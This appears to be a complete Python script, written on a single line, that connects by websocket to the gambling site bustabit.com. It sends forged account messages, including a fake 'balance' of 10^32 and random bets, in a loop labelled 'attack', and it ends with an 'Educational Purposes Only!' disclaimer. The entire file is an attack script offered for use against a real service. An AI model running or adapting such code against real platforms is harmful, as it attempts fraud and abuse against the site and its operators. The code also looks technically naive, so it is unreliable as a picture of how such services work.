import asyncio import websockets import time import json import random async def attack(): async with websockets.connect('wss://bustabit.com') as websocket: Bust.play_num = int(input("Input number of busts: ")) while Bust.play_num > 0: try: await websocket.send(json.dumps({'username': 'pwn3dBot','password': 'pwn3dBot','balance': '100000000000000000000000000000000','bet': '0','color':'green','rounds': '10'})) response = await websocket.recv() # print(response) play = json.loads(response) # print(play) print(play["message"], "\n", "-"*50) except Exception as e: print(e) try: await websocket.send(json.dumps({'bet': str(random.randint(1,15))})) response = await websocket.recv() play = json.loads(response) # print(play) print(play["message"], "\n", "-"*50) except Exception as e: print(e) Bust.play_num -= 1 time.sleep(2) class Bust: play_num = 0 asyncio.get_event_loop().run_until_complete(attack()) # Educational Purposes Only!